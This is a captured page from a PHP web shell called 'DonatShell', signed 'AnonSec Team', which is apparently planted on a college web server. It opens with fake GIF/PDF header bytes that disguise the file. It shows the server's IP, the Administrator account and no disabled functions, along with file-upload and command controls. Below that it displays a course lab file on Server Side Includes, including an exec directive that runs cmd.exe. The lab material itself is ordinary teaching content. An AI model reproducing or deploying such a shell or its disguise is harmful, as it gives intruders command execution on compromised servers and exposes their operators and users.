GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab07/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab07/ssi.php
<?
// JimMartinson/CST1611/Labs/Lab07/Lab07-https.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$skipAuthentication = true;
include('application.phpinc');
include('Course/courseInfo.phpinc');

$f_uId = formValue('uId');
if ( $f_uId ) {
	$userId = $f_uId;
	$userFullName = userName($userId);
} else {
	$userFullName = $_SESSION['userFullName'];
	$userId = $_SESSION['userId'];
}

$noPageHeader = true;
require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

/**/
header('Content-type: text/html');
header('Pragma: no-cache'); //HTTP/1.0
header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Date in the past
header('Content-Disposition: attachment; filename="ssi.shtml"');
/**/
?>
<!DOCTYPE html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?=$courseNumber?> <?=$evaluationName?> SSI</title>
</head>


<style type="text/css">
comment { background-color:#FFFF00; color:#FF0000; font-weight:bold; }
code { background-color:#FFFFCC; color:#008000; font-family: "Courier New", Courier, monospace; font-weight:bold; margin:0px 0px 1px 0px; padding:0px 3px 0px 3px; }
</style>
<body>

<h1><?=$courseNumber?> <?=$evaluationType?> <?=$evaluationNumber?> SSI</h1>

<p>
Take a screenshot of this page.
<br>
Save the image as <b class=""><?=$saveFilename?>_SSI.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
<br>
Make sure that the address bar and at least one sample SSI command are visible in your browser before saving the image.
</p>

<p>
Sample SSI commands are shown below.<br>
The SSI command is first shown in <code>green</code>.<br>
Followed by the output in black.<br>
Comments are in <comment>red on yellow</comment>.
</p>

<p>
<code>
&lt;!--#echo var="DATE_LOCAL" --&gt;
<br>
</code>
<!--#echo var="DATE_LOCAL" -->
</p>

<p>
<code>
&lt;!--#config timefmt="%A %B %d, %Y" --&gt;<br>
Today is &lt;!--#echo var="DATE_LOCAL" --&gt;
<br>
</code>
<!--#config timefmt="%A %B %d, %Y" -->
Today is <!--#echo var="DATE_LOCAL" -->
</p>

<p>
<code>
This document last modified &lt;!--#flastmod file="ssi.shtml" --&gt;
<br>
</code>
This document last modified <!--#flastmod file="ssi.shtml" -->
</p>

<p>
<code>
&lt;!--#include virtual="ssi_include.txt" --&gt;
<br>
</code>
<!--#include virtual="ssi_include.txt" -->
</p>

<p>
<code>
&lt;pre&gt;<br>
&lt;!--#exec cmd="c:\Windows\system32\cmd.exe /c dir" --&gt;<br>
&lt;/pre&gt;
<br>
</code>
<pre>
<!--#exec cmd="c:\Windows\system32\cmd.exe /c dir" -->
</pre>
<comment>
The #exec directive does not work in Windows! Even if it executes output is not returned and any command executed does not have any system rights. Fortunately you can use Perl or PHP scripts to execute Windows commands.
<br>
I have an example Perl file. If you want to test it: Download <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Labs/Lab07/Perl_Windows_command_example.pl">Perl_Windows_command_example.pl</a>, save it in your <b>Lab07</b> folder, and load it in your browser.
<br>
I also have an example PHP file. If you want to test it: Download <a href="https://cst.ridgewater.edu/JimMartinson/CST1611/Labs/Lab07/PHP_Windows_command_example.php">PHP_Windows_command_example.php</a>, save it in your <b>Lab07</b> folder, and load it in your browser.
</comment>
</p>

<p>
<code>
&lt;!--#echo var="REMOTE_USER"--&gt;<br>
</code>
<!--#echo var="REMOTE_USER"-->
</p>

<p>
<code>
&lt;!--#echo var="DOCUMENT_NAME"--&gt;
<br>
</code>
<!--#echo var="DOCUMENT_NAME"-->
</p>

<p>
<code>
&lt;!--#echo var="DOCUMENT_URI"--&gt;
<br>
</code>
<!--#echo var="DOCUMENT_URI"-->
</p>

<p>
<code>
&lt;!--#echo var="LAST_MODIFIED"--&gt;
<br>
</code>
<!--#echo var="LAST_MODIFIED"-->
</p>

<p>
<code>
&lt;!--#echo var="SERVER_NAME"--&gt;
<br>
</code>
<!--#echo var="SERVER_NAME"-->
</p>

<p>
<code>
&lt;!--#echo var="REMOTE_ADDR"--&gt;
<br>
</code>
<!--#echo var="REMOTE_ADDR"-->
</p>

<p>
<code>
&lt;!--#echo var="DATE_LOCAL"--&gt;
<br>
</code>
<!--#echo var="DATE_LOCAL"-->
</p>

<p>
<code>
&lt;!--#set var="some_variable" value="Some value for some_variable" --&gt;<br>
&lt;!--#echo var="some_variable"--&gt;
<br>
</code>
<!--#set var="some_variable" value="Some value for some_variable" -->
<!--#echo var="some_variable"-->
</p>

<p>
<code>
&lt;pre&gt;<br>
&lt;!--#printenv --&gt;<br>
&lt;/pre&gt;<br>
</code>
<comment>You can use &lt;!--#echo var="ENVIRONMENT_VARIABLE"--&gt; for any of the environment variables below:</comment>
<pre>
<!--#printenv -->
</pre>
</p>

<p>
<comment>You can perform simple if .. elif .. else .. endif statements:</comment>
<br>
<code>
&lt;!--#if expr="${some_variable} = Some value for some_variable" --&gt;<br>
It looks like some_variable is set to the value "Some value for some_variable".<br>
&lt;!--#else --&gt;<br>
It looks like some_variable is not set to the value "Some value for some_variable".<br>
&lt;!--#endif --&gt;<br>
&lt;!--#if expr="${some_variable} = ooga" --&gt;<br>
It looks like some_variable is set to the value "ooga".<br>
&lt;!--#else --&gt;<br>
It looks like some_variable is not set to the value "ooga".<br>
&lt;!--#endif --&gt;
<br>
</code>
<!--#if expr="${some_variable} = Some value for some_variable" -->
It looks like some_variable is set to the value "Some value for some_variable".<br>
<!--#else -->
It looks like some_variable is not set to the value "Some value for some_variable".<br>
<!--#endif -->
<!--#if expr="${some_variable} = ooga" -->
It looks like some_variable is set to the value "ooga".<br>
<!--#else -->
It looks like some_variable is not set to the value "ooga".<br>
<!--#endif -->
</p>

</body>

</html>

Anon7 - 2022
AnonSec Team